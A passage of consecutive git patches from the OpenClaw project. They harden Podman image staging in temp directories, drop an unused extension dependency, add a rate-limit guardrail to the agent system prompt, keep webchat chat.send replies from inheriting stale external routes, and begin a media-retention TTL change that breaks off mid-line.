+- **Persistent host data:** Docker Compose bind-mounts `OPENCLAW_CONFIG_DIR` to `/home/node/.openclaw` and `OPENCLAW_WORKSPACE_DIR` to `/home/node/.openclaw/workspace`, so those paths survive container replacement. +- **Ephemeral sandbox tmpfs:** when `agents.defaults.sandbox` is enabled, the sandbox containers use `tmpfs` for `/tmp`, `/var/tmp`, and `/run`. Those mounts are separate from the top-level Compose stack and disappear with the sandbox container. +- **Disk growth hotspots:** watch `media/`, `agents//sessions/sessions.json`, transcript JSONL files, `cron/runs/*.jsonl`, and rolling file logs under `/tmp/openclaw/` (or your configured `logging.file`). If you also run the macOS app outside Docker, its service logs are separate again: `~/.openclaw/logs/gateway.log`, `~/.openclaw/logs/gateway.err.log`, and `/tmp/openclaw/openclaw-gateway.log`. + ## Agent Sandbox (host gateway + Docker tools) Deep dive: [Sandboxing](/gateway/sandboxing) diff --git a/docs/install/podman.md b/docs/install/podman.md index e753c82f32f..888bbc904b9 100644 --- a/docs/install/podman.md +++ b/docs/install/podman.md @@ -93,6 +93,14 @@ To add quadlet **after** an initial setup that did not use it, re-run: `./setup- - **Gateway bind:** By default, `run-openclaw-podman.sh` starts the gateway with `--bind loopback` for safe local access. To expose on LAN, set `OPENCLAW_GATEWAY_BIND=lan` and configure `gateway.controlUi.allowedOrigins` (or explicitly enable host-header fallback) in `openclaw.json`. - **Paths:** Host config and workspace default to `~openclaw/.openclaw` and `~openclaw/.openclaw/workspace`. Override the host paths used by the launch script with `OPENCLAW_CONFIG_DIR` and `OPENCLAW_WORKSPACE_DIR`. +## Storage model + +- **Persistent host data:** `OPENCLAW_CONFIG_DIR` and `OPENCLAW_WORKSPACE_DIR` are bind-mounted into the container and retain state on the host. +- **Ephemeral sandbox tmpfs:** if you enable `agents.defaults.sandbox`, the tool sandbox containers mount `tmpfs` at `/tmp`, `/var/tmp`, and `/run`. Those paths are memory-backed and disappear with the sandbox container; the top-level Podman container setup does not add its own tmpfs mounts. +- **Disk growth hotspots:** the main paths to watch are `media/`, `agents//sessions/sessions.json`, transcript JSONL files, `cron/runs/*.jsonl`, and rolling file logs under `/tmp/openclaw/` (or your configured `logging.file`). + +`setup-podman.sh` now stages the image tar in a private temp directory and prints the chosen base dir during setup. For non-root runs it accepts `TMPDIR` only when that base is safe to use; otherwise it falls back to `/var/tmp`, then `/tmp`. The saved tar stays owner-only and is streamed into the target user’s `podman load`, so private caller temp dirs do not block setup. + ## Useful commands - **Logs:** With quadlet: `sudo journalctl --machine openclaw@ --user -u openclaw.service -f`. With script: `sudo -u openclaw podman logs -f openclaw` diff --git a/setup-podman.sh b/setup-podman.sh index 8b9c5caab6c..95a4415487c 100755 --- a/setup-podman.sh +++ b/setup-podman.sh @@ -27,6 +27,48 @@ require_cmd() { fi } +is_writable_dir() { + local dir="$1" + [[ -n "$dir" && -d "$dir" && ! -L "$dir" && -w "$dir" && -x "$dir" ]] +} + +is_safe_tmp_base() { + local dir="$1" + local mode="" + local owner="" + is_writable_dir "$dir" || return 1 + mode="$(stat -Lc '%a' "$dir" 2>/dev/null || true)" + if [[ -n "$mode" ]]; then + local perm=$((8#$mode)) + if (( (perm & 0022) != 0 && (perm & 01000) == 0 )); then + return 1 + fi + fi + if is_root; then + owner="$(stat -Lc '%u' "$dir" 2>/dev/null || true)" + if [[ -n "$owner" && "$owner" != "0" ]]; then + return 1 + fi + fi + return 0 +} + +resolve_image_tmp_dir() { + if ! is_root && is_safe_tmp_base "${TMPDIR:-}"; then + printf '%s' "$TMPDIR" + return 0 + fi + if is_safe_tmp_base "/var/tmp"; then + printf '%s' "/var/tmp" + return 0 + fi + if is_safe_tmp_base "/tmp"; then + printf '%s' "/tmp" + return 0 + fi + printf '%s' "/tmp" +} + is_root() { [[ "$(id -u)" -eq 0 ]]; } run_root() { @@ -215,12 +257,18 @@ BUILD_ARGS=() podman build ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"} -t openclaw:local -f "$REPO_PATH/Dockerfile" "$REPO_PATH" echo "Loading image into $OPENCLAW_USER's Podman store..." -TMP_IMAGE="$(mktemp -p /tmp openclaw-image.XXXXXX.tar)" -trap 'rm -f "$TMP_IMAGE"' EXIT +TMP_IMAGE_DIR="$(resolve_image_tmp_dir)" +echo "Using temporary image dir: $TMP_IMAGE_DIR" +TMP_STAGE_DIR="$(mktemp -d -p "$TMP_IMAGE_DIR" openclaw-image.XXXXXX)" +TMP_IMAGE="$TMP_STAGE_DIR/image.tar" +chmod 700 "$TMP_STAGE_DIR" +trap 'rm -rf "$TMP_STAGE_DIR"' EXIT podman save openclaw:local -o "$TMP_IMAGE" -chmod 644 "$TMP_IMAGE" -(cd /tmp && run_as_user "$OPENCLAW_USER" env HOME="$OPENCLAW_HOME" podman load -i "$TMP_IMAGE") -rm -f "$TMP_IMAGE" +chmod 600 "$TMP_IMAGE" +# Stream the image into the target user's podman load so private temp directories +# do not need to be traversable by $OPENCLAW_USER. +cat "$TMP_IMAGE" | run_as_user "$OPENCLAW_USER" env HOME="$OPENCLAW_HOME" podman load +rm -rf "$TMP_STAGE_DIR" trap - EXIT echo "Copying launch script to $LAUNCH_SCRIPT_DST..." From 75981b05c372ae33374c901ddc867efee426e38d Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:55:41 -0500 Subject: [PATCH 083/844] Dependencies: remove unused extension packages (#38317) * Dependencies: drop unused extension packages * Dependencies: drop unused tlon http-api package * Dependencies: keep bundled acpx package --- extensions/tlon/package.json | 1 - pnpm-lock.yaml | 12 ------------ 2 files changed, 13 deletions(-) diff --git a/extensions/tlon/package.json b/extensions/tlon/package.json index 319dfde7613..f8ae2b36b70 100644 --- a/extensions/tlon/package.json +++ b/extensions/tlon/package.json @@ -7,7 +7,6 @@ "@tloncorp/api": "git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87", "@tloncorp/tlon-skill": "0.1.9", "@urbit/aura": "^3.0.0", - "@urbit/http-api": "^3.0.0", "zod": "^4.3.6" }, "openclaw": { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index e2087b427e4..9a39f1b6c68 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -454,9 +454,6 @@ importers: '@urbit/aura': specifier: ^3.0.0 version: 3.0.0 - '@urbit/http-api': - specifier: ^3.0.0 - version: 3.0.0 zod: specifier: ^4.3.6 version: 4.3.6 @@ -3169,9 +3166,6 @@ packages: resolution: {integrity: sha512-N8/FHc/lmlMDCumMuTXyRHCxlov5KZY6unmJ9QR2GOw+OpROZMBsXYGwE+ZMtvN21ql9+Xb8KhGNBj08IrG3Wg==} engines: {node: '>=16', npm: '>=8'} - '@urbit/http-api@3.0.0': - resolution: {integrity: sha512-EmyPbWHWXhfYQ/9wWFcLT53VvCn8ct9ljd6QEe+UBjNPEhUPOFBLpDsDp3iPLQgg8ykSU8JMMHxp95LHCorExA==} - '@urbit/nockjs@1.6.0': resolution: {integrity: sha512-f2xCIxoYQh+bp/p6qztvgxnhGsnUwcrSSvW2CUKX7BPPVkDNppQCzCVPWo38TbqgChE7wh6rC1pm6YNCOyFlQA==} @@ -9198,12 +9192,6 @@ snapshots: '@urbit/aura@3.0.0': {} - '@urbit/http-api@3.0.0': - dependencies: - '@babel/runtime': 7.28.6 - browser-or-node: 1.3.0 - core-js: 3.48.0 - '@urbit/nockjs@1.6.0': {} '@vector-im/matrix-bot-sdk@0.8.0-element.3(@cypress/request@3.0.10)': From bf623a580bc586f893673c93a5f11900ced498b0 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 20:20:00 -0500 Subject: [PATCH 084/844] Agents: add skill API rate-limit guardrail (#38452) * Agents: add rate-limit guardrail for skill API writes * Changelog: note skill API rate-limit awareness --- CHANGELOG.md | 1 + skills/notion/SKILL.md | 4 +++- src/agents/system-prompt.test.ts | 3 +++ src/agents/system-prompt.ts | 1 + 4 files changed, 8 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 993e6ffe3a2..42f187ad8b5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -217,6 +217,7 @@ Docs: https://docs.openclaw.ai - PI embedded runner/Feishu docs: propagate sender identity into embedded attempts so Feishu doc auto-grant restores requester access for embedded-runner executions. (#32915) thanks @cszhouwei. - Agents/usage normalization: normalize missing or partial assistant usage snapshots before compaction accounting so `openclaw agent --json` no longer crashes when provider payloads omit `totalTokens` or related usage fields. (#34977) thanks @sp-hk2ldn. - Venice/default model refresh: switch the built-in Venice default to `kimi-k2-5`, update onboarding aliasing, and refresh Venice provider docs/recommendations to match the current private and anonymized catalog. (from #12964) Fixes #20156. Thanks @sabrinaaquino and @vincentkoc. +- Agents/skill API write pacing: add a global prompt guardrail that treats skill-driven external API writes as rate-limited by default, so runners prefer batched writes, avoid tight request loops, and respect `429`/`Retry-After`. Thanks @vincentkoc. ## 2026.3.2 diff --git a/skills/notion/SKILL.md b/skills/notion/SKILL.md index 52b2ef5245d..f4152d23bf7 100644 --- a/skills/notion/SKILL.md +++ b/skills/notion/SKILL.md @@ -168,5 +168,7 @@ Common property formats for database items: - Page/database IDs are UUIDs (with or without dashes) - The API cannot set database view filters — that's UI-only -- Rate limit: ~3 requests/second average +- Rate limit: ~3 requests/second average, with `429 rate_limited` responses using `Retry-After` +- Append block children: up to 100 children per request, up to two levels of nesting in a single append request +- Payload size limits: up to 1000 block elements and 500KB overall - Use `is_inline: true` when creating data sources to embed them in pages diff --git a/src/agents/system-prompt.test.ts b/src/agents/system-prompt.test.ts index 57dfb26689c..64497364f8c 100644 --- a/src/agents/system-prompt.test.ts +++ b/src/agents/system-prompt.test.ts @@ -144,6 +144,9 @@ describe("buildAgentSystemPrompt", () => { expect(prompt).toContain("## Skills (mandatory)"); expect(prompt).toContain(""); + expect(prompt).toContain( + "When a skill drives external API writes, assume rate limits: prefer fewer larger writes, avoid tight one-item loops, serialize bursts when possible, and respect 429/Retry-After.", + ); }); it("omits skills in minimal prompt mode when skillsPrompt is absent", () => { diff --git a/src/agents/system-prompt.ts b/src/agents/system-prompt.ts index a60ae54306b..a3d593ab6b8 100644 --- a/src/agents/system-prompt.ts +++ b/src/agents/system-prompt.ts @@ -29,6 +29,7 @@ function buildSkillsSection(params: { skillsPrompt?: string; readToolName: strin "- If multiple could apply: choose the most specific one, then read/follow it.", "- If none clearly apply: do not read any SKILL.md.", "Constraints: never read more than one skill up front; only read after selecting.", + "- When a skill drives external API writes, assume rate limits: prefer fewer larger writes, avoid tight one-item loops, serialize bursts when possible, and respect 429/Retry-After.", trimmed, "", ]; From 563a125c66b1e4273eb1daf6b67b740f7e9c546b Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 21:59:08 -0500 Subject: [PATCH 085/844] fix(gateway): stop shared-main chat.send from inheriting stale external routes (#38418) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(gateway): prevent webchat messages from cross-routing to external channels chat.send always originates from the webchat/control-UI surface. Previously, channel-scoped session keys (e.g. agent:main:slack:direct:U…) caused OriginatingChannel to inherit the session's stored external route, so the reply dispatcher would route responses to Slack/Telegram instead of back to the gateway connection. Remove the route-inheritance logic from chat.send and always set OriginatingChannel to INTERNAL_MESSAGE_CHANNEL ("webchat"). Closes #34647 Made-with: Cursor * Gateway: preserve configured-main connect gating * Gateway: cover connect-without-client routing * Gateway: add chat.send session key length limit * Gateway: cap chat.send session key schema * Gateway: bound chat.send session key parsing * Gateway: cover oversized chat.send session keys * Update CHANGELOG.md --------- Co-authored-by: SidQin-cyber --- CHANGELOG.md | 1 + src/gateway/protocol/schema/logs-chat.ts | 4 +- src/gateway/protocol/schema/primitives.ts | 5 + .../chat.directive-tags.test.ts | 82 +++++++- src/gateway/server-methods/chat.ts | 185 ++++++++++++------ 5 files changed, 213 insertions(+), 64 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 42f187ad8b5..9f5c74cc491 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -204,6 +204,7 @@ Docs: https://docs.openclaw.ai - Agents/gateway config guidance: stop exposing `config.schema` through the agent `gateway` tool, remove prompt/docs guidance that told agents to call it, and keep agents on `config.get` plus `config.patch`/`config.apply` for config changes. (#7382) thanks @kakuteki. - Agents/failover: classify periodic provider limit exhaustion text (for example `Weekly/Monthly Limit Exhausted`) as `rate_limit` while keeping explicit `402 Payment Required` variants in billing, so failover continues without misclassifying billing-wrapped quota errors. (#33813) thanks @zhouhe-xydt. - Mattermost/interactive button callbacks: allow external callback base URLs and stop requiring loopback-origin requests so button clicks work when Mattermost reaches the gateway over Tailscale, LAN, or a reverse proxy. (#37543) thanks @mukhtharcm. +- Gateway/chat.send route inheritance: keep explicit external delivery for channel-scoped sessions while preventing shared-main and other channel-agnostic webchat sessions from inheriting stale external routes, so Control UI replies stay on webchat without breaking selected channel-target sessions. (#34669) Thanks @vincentkoc. - Telegram/Discord media upload caps: make outbound uploads honor channel `mediaMaxMb` config, raise Telegram's default media cap to 100MB, and remove MIME fallback limits that kept some Telegram uploads at 16MB. Thanks @vincentkoc. - Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. - Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. diff --git a/src/gateway/protocol/schema/logs-chat.ts b/src/gateway/protocol/schema/logs-chat.ts index b8d0fe1ba45..ffa01945c01 100644 --- a/src/gateway/protocol/schema/logs-chat.ts +++ b/src/gateway/protocol/schema/logs-chat.ts @@ -1,5 +1,5 @@ import { Type } from "@sinclair/typebox"; -import { NonEmptyString } from "./primitives.js"; +import { ChatSendSessionKeyString, NonEmptyString } from "./primitives.js"; export const LogsTailParamsSchema = Type.Object( { @@ -33,7 +33,7 @@ export const ChatHistoryParamsSchema = Type.Object( export const ChatSendParamsSchema = Type.Object( { - sessionKey: NonEmptyString, + sessionKey: ChatSendSessionKeyString, message: Type.String(), thinking: Type.Optional(Type.String()), deliver: Type.Optional(Type.Boolean()), diff --git a/src/gateway/protocol/schema/primitives.ts b/src/gateway/protocol/schema/primitives.ts index d43a16a1ed1..849778149e1 100644 --- a/src/gateway/protocol/schema/primitives.ts +++ b/src/gateway/protocol/schema/primitives.ts @@ -3,6 +3,11 @@ import { SESSION_LABEL_MAX_LENGTH } from "../../../sessions/session-label.js"; import { GATEWAY_CLIENT_IDS, GATEWAY_CLIENT_MODES } from "../client-info.js"; export const NonEmptyString = Type.String({ minLength: 1 }); +export const CHAT_SEND_SESSION_KEY_MAX_LENGTH = 512; +export const ChatSendSessionKeyString = Type.String({ + minLength: 1, + maxLength: CHAT_SEND_SESSION_KEY_MAX_LENGTH, +}); export const SessionLabelString = Type.String({ minLength: 1, maxLength: SESSION_LABEL_MAX_LENGTH, diff --git a/src/gateway/server-methods/chat.directive-tags.test.ts b/src/gateway/server-methods/chat.directive-tags.test.ts index d4f631a21ce..717c81337e8 100644 --- a/src/gateway/server-methods/chat.directive-tags.test.ts +++ b/src/gateway/server-methods/chat.directive-tags.test.ts @@ -5,6 +5,8 @@ import { CURRENT_SESSION_VERSION } from "@mariozechner/pi-coding-agent"; import { afterEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../../auto-reply/templating.js"; import { GATEWAY_CLIENT_CAPS, GATEWAY_CLIENT_MODES } from "../protocol/client-info.js"; +import { ErrorCodes } from "../protocol/index.js"; +import { CHAT_SEND_SESSION_KEY_MAX_LENGTH } from "../protocol/schema/primitives.js"; import type { GatewayRequestContext } from "./types.js"; const mockState = vi.hoisted(() => ({ @@ -325,6 +327,34 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect(extractFirstTextBlock(payload)).toBe(""); }); + it("rejects oversized chat.send session keys before dispatch", async () => { + createTranscriptFixture("openclaw-chat-send-session-key-too-long-"); + const respond = vi.fn(); + const context = createChatContext(); + + await chatHandlers["chat.send"]({ + params: { + sessionKey: `agent:main:${"x".repeat(CHAT_SEND_SESSION_KEY_MAX_LENGTH)}`, + message: "hello", + idempotencyKey: "idem-session-key-too-long", + }, + respond, + req: {} as never, + client: null as never, + isWebchatConnect: () => false, + context: context as GatewayRequestContext, + }); + + expect(respond).toHaveBeenCalledWith( + false, + undefined, + expect.objectContaining({ + code: ErrorCodes.INVALID_REQUEST, + }), + ); + expect(context.broadcast).not.toHaveBeenCalled(); + }); + it("chat.inject strips external untrusted wrapper metadata from final payload text", async () => { createTranscriptFixture("openclaw-chat-inject-untrusted-meta-"); const respond = vi.fn(); @@ -362,7 +392,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect(extractFirstTextBlock(payload)).toBe("hello"); }); - it("chat.send inherits originating routing metadata from session delivery context", async () => { + it("chat.send keeps explicit delivery routes for channel-scoped sessions", async () => { createTranscriptFixture("openclaw-chat-send-origin-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -400,7 +430,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => ); }); - it("chat.send inherits Feishu routing metadata from session delivery context", async () => { + it("chat.send keeps explicit delivery routes for Feishu channel-scoped sessions", async () => { createTranscriptFixture("openclaw-chat-send-feishu-origin-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -429,12 +459,13 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "feishu", OriginatingTo: "ou_feishu_direct_123", + ExplicitDeliverRoute: true, AccountId: "default", }), ); }); - it("chat.send inherits routing metadata for per-account channel-peer session keys", async () => { + it("chat.send keeps explicit delivery routes for per-account channel-peer sessions", async () => { createTranscriptFixture("openclaw-chat-send-per-account-channel-peer-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -463,12 +494,13 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "telegram", OriginatingTo: "telegram:6812765697", + ExplicitDeliverRoute: true, AccountId: "account-a", }), ); }); - it("chat.send inherits routing metadata for legacy channel-peer session keys", async () => { + it("chat.send keeps explicit delivery routes for legacy channel-peer sessions", async () => { createTranscriptFixture("openclaw-chat-send-legacy-channel-peer-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -497,12 +529,13 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "telegram", OriginatingTo: "telegram:6812765697", + ExplicitDeliverRoute: true, AccountId: "default", }), ); }); - it("chat.send inherits routing metadata for legacy channel-peer thread session keys", async () => { + it("chat.send keeps explicit delivery routes for legacy thread sessions", async () => { createTranscriptFixture("openclaw-chat-send-legacy-thread-channel-peer-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -533,6 +566,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "telegram", OriginatingTo: "telegram:6812765697", + ExplicitDeliverRoute: true, AccountId: "default", MessageThreadId: "42", }), @@ -657,6 +691,44 @@ describe("chat directive tag stripping for non-streaming final payloads", () => ); }); + it("chat.send keeps configured main delivery inheritance when connect metadata omits client details", async () => { + createTranscriptFixture("openclaw-chat-send-config-main-connect-no-client-"); + mockState.mainSessionKey = "work"; + mockState.finalText = "ok"; + mockState.sessionEntry = { + deliveryContext: { + channel: "whatsapp", + to: "whatsapp:+8613800138000", + accountId: "default", + }, + lastChannel: "whatsapp", + lastTo: "whatsapp:+8613800138000", + lastAccountId: "default", + }; + const respond = vi.fn(); + const context = createChatContext(); + + await runNonStreamingChatSend({ + context, + respond, + idempotencyKey: "idem-config-main-connect-no-client", + client: { + connect: {}, + } as unknown, + sessionKey: "agent:main:work", + deliver: true, + expectBroadcast: false, + }); + + expect(mockState.lastDispatchCtx).toEqual( + expect.objectContaining({ + OriginatingChannel: "whatsapp", + OriginatingTo: "whatsapp:+8613800138000", + AccountId: "default", + }), + ); + }); + it("chat.send does not inherit external delivery context for non-channel custom sessions", async () => { createTranscriptFixture("openclaw-chat-send-custom-no-cross-route-"); mockState.finalText = "ok"; diff --git a/src/gateway/server-methods/chat.ts b/src/gateway/server-methods/chat.ts index e384006ae38..497902b63ff 100644 --- a/src/gateway/server-methods/chat.ts +++ b/src/gateway/server-methods/chat.ts @@ -46,6 +46,7 @@ import { validateChatInjectParams, validateChatSendParams, } from "../protocol/index.js"; +import { CHAT_SEND_SESSION_KEY_MAX_LENGTH } from "../protocol/schema/primitives.js"; import { getMaxChatHistoryMessagesBytes } from "../server-constants.js"; import { capArrayByJsonBytes, @@ -95,6 +96,118 @@ const CHANNEL_AGNOSTIC_SESSION_SCOPES = new Set([ ]); const CHANNEL_SCOPED_SESSION_SHAPES = new Set(["direct", "dm", "group", "channel"]); +type ChatSendDeliveryEntry = { + deliveryContext?: { + channel?: string; + to?: string; + accountId?: string; + threadId?: string | number; + }; + lastChannel?: string; + lastTo?: string; + lastAccountId?: string; + lastThreadId?: string | number; +}; + +type ChatSendOriginatingRoute = { + originatingChannel: string; + originatingTo?: string; + accountId?: string; + messageThreadId?: string | number; + explicitDeliverRoute: boolean; +}; + +function resolveChatSendOriginatingRoute(params: { + client?: { mode?: string | null; id?: string | null } | null; + deliver?: boolean; + entry?: ChatSendDeliveryEntry; + hasConnectedClient?: boolean; + mainKey?: string; + sessionKey: string; +}): ChatSendOriginatingRoute { + const shouldDeliverExternally = params.deliver === true; + if (!shouldDeliverExternally) { + return { + originatingChannel: INTERNAL_MESSAGE_CHANNEL, + explicitDeliverRoute: false, + }; + } + + const routeChannelCandidate = normalizeMessageChannel( + params.entry?.deliveryContext?.channel ?? params.entry?.lastChannel, + ); + const routeToCandidate = params.entry?.deliveryContext?.to ?? params.entry?.lastTo; + const routeAccountIdCandidate = + params.entry?.deliveryContext?.accountId ?? params.entry?.lastAccountId ?? undefined; + const routeThreadIdCandidate = + params.entry?.deliveryContext?.threadId ?? params.entry?.lastThreadId; + if (params.sessionKey.length > CHAT_SEND_SESSION_KEY_MAX_LENGTH) { + return { + originatingChannel: INTERNAL_MESSAGE_CHANNEL, + explicitDeliverRoute: false, + }; + } + + const parsedSessionKey = parseAgentSessionKey(params.sessionKey); + const sessionScopeParts = (parsedSessionKey?.rest ?? params.sessionKey) + .split(":", 3) + .filter(Boolean); + const sessionScopeHead = sessionScopeParts[0]; + const sessionChannelHint = normalizeMessageChannel(sessionScopeHead); + const normalizedSessionScopeHead = (sessionScopeHead ?? "").trim().toLowerCase(); + const sessionPeerShapeCandidates = [sessionScopeParts[1], sessionScopeParts[2]] + .map((part) => (part ?? "").trim().toLowerCase()) + .filter(Boolean); + const isChannelAgnosticSessionScope = CHANNEL_AGNOSTIC_SESSION_SCOPES.has( + normalizedSessionScopeHead, + ); + const isChannelScopedSession = sessionPeerShapeCandidates.some((part) => + CHANNEL_SCOPED_SESSION_SHAPES.has(part), + ); + const hasLegacyChannelPeerShape = + !isChannelScopedSession && + typeof sessionScopeParts[1] === "string" && + sessionChannelHint === routeChannelCandidate; + const isFromWebchatClient = + isWebchatClient(params.client) || params.client?.mode === GATEWAY_CLIENT_MODES.UI; + const configuredMainKey = (params.mainKey ?? "main").trim().toLowerCase(); + const isConfiguredMainSessionScope = + normalizedSessionScopeHead.length > 0 && normalizedSessionScopeHead === configuredMainKey; + + // Keep explicit delivery for channel-scoped sessions, but refuse to inherit + // stale external routes for shared-main and other channel-agnostic webchat/UI + // turns where the session key does not encode the user's current target. + // Preserve the old configured-main contract: any connected non-webchat client + // may inherit the last external route even when client metadata is absent. + const canInheritDeliverableRoute = Boolean( + sessionChannelHint && + sessionChannelHint !== INTERNAL_MESSAGE_CHANNEL && + ((!isChannelAgnosticSessionScope && (isChannelScopedSession || hasLegacyChannelPeerShape)) || + (isConfiguredMainSessionScope && params.hasConnectedClient && !isFromWebchatClient)), + ); + const hasDeliverableRoute = + canInheritDeliverableRoute && + routeChannelCandidate && + routeChannelCandidate !== INTERNAL_MESSAGE_CHANNEL && + typeof routeToCandidate === "string" && + routeToCandidate.trim().length > 0; + + if (!hasDeliverableRoute) { + return { + originatingChannel: INTERNAL_MESSAGE_CHANNEL, + explicitDeliverRoute: false, + }; + } + + return { + originatingChannel: routeChannelCandidate, + originatingTo: routeToCandidate, + accountId: routeAccountIdCandidate, + messageThreadId: routeThreadIdCandidate, + explicitDeliverRoute: true, + }; +} + function stripDisallowedChatControlChars(message: string): string { let output = ""; for (const char of message) { @@ -864,62 +977,20 @@ export const chatHandlers: GatewayRequestHandlers = { ); const commandBody = injectThinking ? `/think ${p.thinking} ${parsedMessage}` : parsedMessage; const clientInfo = client?.connect?.client; - const shouldDeliverExternally = p.deliver === true; - const routeChannelCandidate = normalizeMessageChannel( - entry?.deliveryContext?.channel ?? entry?.lastChannel, - ); - const routeToCandidate = entry?.deliveryContext?.to ?? entry?.lastTo; - const routeAccountIdCandidate = - entry?.deliveryContext?.accountId ?? entry?.lastAccountId ?? undefined; - const routeThreadIdCandidate = entry?.deliveryContext?.threadId ?? entry?.lastThreadId; - const parsedSessionKey = parseAgentSessionKey(sessionKey); - const sessionScopeParts = (parsedSessionKey?.rest ?? sessionKey).split(":").filter(Boolean); - const sessionScopeHead = sessionScopeParts[0]; - const sessionChannelHint = normalizeMessageChannel(sessionScopeHead); - const normalizedSessionScopeHead = (sessionScopeHead ?? "").trim().toLowerCase(); - const sessionPeerShapeCandidates = [sessionScopeParts[1], sessionScopeParts[2]] - .map((part) => (part ?? "").trim().toLowerCase()) - .filter(Boolean); - const isChannelAgnosticSessionScope = CHANNEL_AGNOSTIC_SESSION_SCOPES.has( - normalizedSessionScopeHead, - ); - const isChannelScopedSession = sessionPeerShapeCandidates.some((part) => - CHANNEL_SCOPED_SESSION_SHAPES.has(part), - ); - const hasLegacyChannelPeerShape = - !isChannelScopedSession && - typeof sessionScopeParts[1] === "string" && - sessionChannelHint === routeChannelCandidate; - const clientMode = client?.connect?.client?.mode; - const isFromWebchatClient = - isWebchatClient(client?.connect?.client) || clientMode === GATEWAY_CLIENT_MODES.UI; - const configuredMainKey = (cfg.session?.mainKey ?? "main").trim().toLowerCase(); - const isConfiguredMainSessionScope = - normalizedSessionScopeHead.length > 0 && normalizedSessionScopeHead === configuredMainKey; - // Channel-agnostic session scopes (main, direct:, etc.) can leak - // stale routes across surfaces. Allow configured main sessions from - // non-Webchat/UI clients (e.g., CLI, backend) to keep the last external route. - const canInheritDeliverableRoute = Boolean( - sessionChannelHint && - sessionChannelHint !== INTERNAL_MESSAGE_CHANNEL && - ((!isChannelAgnosticSessionScope && - (isChannelScopedSession || hasLegacyChannelPeerShape)) || - (isConfiguredMainSessionScope && client?.connect !== undefined && !isFromWebchatClient)), - ); - const hasDeliverableRoute = Boolean( - shouldDeliverExternally && - canInheritDeliverableRoute && - routeChannelCandidate && - routeChannelCandidate !== INTERNAL_MESSAGE_CHANNEL && - typeof routeToCandidate === "string" && - routeToCandidate.trim().length > 0, - ); - const originatingChannel = hasDeliverableRoute - ? routeChannelCandidate - : INTERNAL_MESSAGE_CHANNEL; - const originatingTo = hasDeliverableRoute ? routeToCandidate : undefined; - const accountId = hasDeliverableRoute ? routeAccountIdCandidate : undefined; - const messageThreadId = hasDeliverableRoute ? routeThreadIdCandidate : undefined; + const { + originatingChannel, + originatingTo, + accountId, + messageThreadId, + explicitDeliverRoute, + } = resolveChatSendOriginatingRoute({ + client: clientInfo, + deliver: p.deliver, + entry, + hasConnectedClient: client?.connect !== undefined, + mainKey: cfg.session?.mainKey, + sessionKey, + }); // Inject timestamp so agents know the current date/time. // Only BodyForAgent gets the timestamp — Body stays raw for UI display. // See: https://github.com/moltbot/moltbot/issues/3658 @@ -936,7 +1007,7 @@ export const chatHandlers: GatewayRequestHandlers = { Surface: INTERNAL_MESSAGE_CHANNEL, OriginatingChannel: originatingChannel, OriginatingTo: originatingTo, - ExplicitDeliverRoute: hasDeliverableRoute, + ExplicitDeliverRoute: explicitDeliverRoute, AccountId: accountId, MessageThreadId: messageThreadId, ChatType: "direct", From ba9eaf2ee2193bf060620f1fe71d24033004889e Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 22:06:09 -0500 Subject: [PATCH 086/844] fix(media): retain inbound media with recursive cleanup TTL (#38292) * Config: add media retention TTL setting * Media: recurse persisted media cleanup * Gateway: add persisted media cleanup timer * Media: harden retention cleanup sweep * Media: make recursive retention cleanup opt-in * Media: retry writes after empty-dir cleanup race --- src/config/schema.help.ts | 4 +- src/config/schema.labels.ts | 1 + src/config/types.openclaw.ts | 6 + src/config/zod-schema.ts | 6 + src/gateway/server-close.ts | 4 + src/gateway/server-maintenance.test.ts | 142 +++++++++++++++++++++++ src/gateway/server-maintenance.ts | 33 +++++- src/gateway/server.impl.ts | 18 ++- src/media/server.ts | 2 +- src/media/store.test.ts | 154 ++++++++++++++++++++++++- src/media/store.ts | 116 +++++++++++++------ 11 files changed, 446 insertions(+), 40 deletions(-) create mode 100644 src/gateway/server-maintenance.test.ts diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index dbf416865b7..c97aa0408a4 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -423,9 +423,11 @@ export const FIELD_HELP: Record = { "nodeHost.browserProxy.allowProfiles": "Optional allowlist of browser profile names exposed through node proxy routing. Leave empty to expose all configured profiles, or use a tight list to enforce least-privilege profile access.", media: - "Top-level media behavior shared across providers and tools that handle inbound files. Keep defaults unless you need stable filenames for external processing pipelines.", + "Top-level media behavior shared across providers and tools that handle inbound files. Keep defaults unless you need stable filenames for 